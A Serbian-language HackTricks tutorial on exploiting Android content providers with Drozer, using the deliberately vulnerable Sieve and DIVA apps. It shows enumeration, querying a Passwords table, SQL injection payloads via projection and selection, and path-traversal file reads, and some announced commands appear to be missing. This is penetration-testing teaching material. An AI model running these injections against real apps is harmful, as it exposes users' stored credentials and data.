Iskorišćavanje Content Providera
Reading time: 5 minutes
Iskorišćavanje Content Providera
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Uvod
Podaci se dostavljaju iz jedne aplikacije u druge na zahtev od strane komponente poznate kao content provider. Ovi zahtevi se upravljaju putem metoda ContentResolver klase. Content provideri mogu čuvati svoje podatke na različitim mestima, kao što su baza podataka, fajlovi ili preko mreže.
U Manifest.xml datoteci, deklaracija content providera je obavezna. Na primer:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Da biste pristupili content://com.mwr.example.sieve.DBContentProvider/Keys
, potrebna je dozvola READ_KEYS
. Zanimljivo je napomenuti da je putanja /Keys/
dostupna u sledećem odeljku, koji nije zaštićen zbog greške programera, koji je osigurao /Keys
ali je deklarisao /Keys/
.
Možda možete pristupiti privatnim podacima ili iskoristiti neku ranjivost (SQL Injection ili Path Traversal).
Dobijanje informacija iz izloženih sadržajnih provajdera
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Moguće je sastaviti kako doći do DBContentProvider tako što se URI-ji započinju sa “content://”. Ovaj pristup se zasniva na uvidima dobijenim korišćenjem Drozer-a, gde su ključne informacije bile locirane u /Keys direktorijumu.
Drozer može pogoditi i isprobati nekoliko URI-ja:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Trebalo bi da proverite ContentProvider kod da biste tražili upite:
Takođe, ako ne možete pronaći pune upite, možete proveriti koja imena su deklarisana od strane ContentProvider-a u onCreate
metodi:
Upit će biti kao: content://name.of.package.class/declared_name
Content Providers podržani bazom podataka
Verovatno se većina Content Providers koristi kao interfejs za bazu podataka. Stoga, ako možete da mu pristupite, mogli biste da izvučete, ažurirate, umetnete i obrišete informacije.
Proverite da li možete da pristupite osetljivim informacijama ili pokušajte da ih promenite da biste zaobišli mehanizme autorizacije.
Kada proveravate kod Content Provider-a, obratite pažnju i na funkcije nazvane kao: query, insert, update i delete:
Jer ćete moći da ih pozovete
Upit sadržaja
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Unesite sadržaj
Upitom u bazu podataka saznaćete ime kolona, zatim ćete moći da unesete podatke u DB:
Napomena da u unosu i ažuriranju možete koristiti --string za označavanje stringa, --double za označavanje double-a, --float, --integer, --long, --short, --boolean
Ažurirajte sadržaj
Poznavajući ime kolona, takođe možete modifikovati unose:
Obrišite sadržaj
SQL Injekcija
Jednostavno je testirati SQL injekciju (SQLite) manipulisanjem projekcijom i poljima selekcije koja se prosleđuju provajderu sadržaja.
Kada upitujete Content Provider, postoje 2 zanimljiva argumenta za pretragu informacija: --selection i --projection:
Možete pokušati da zloupotrebite ove parametre da testirate za SQL injekcije:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Automatsko otkrivanje SQLInjection-a pomoću Drozera
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Content Providers sa podrškom za fajl sistem
Content providers se takođe mogu koristiti za pristup fajlovima:
Čitaj fajl
Možete čitati fajlove iz Content Providera
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Path Traversal
Ako možete pristupiti datotekama, možete pokušati da zloupotrebite Path Traversal (u ovom slučaju to nije neophodno, ali možete pokušati da koristite "../" i slične trikove).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Automatsko otkrivanje putanje prelaska od strane Drozer-a
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Reference
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.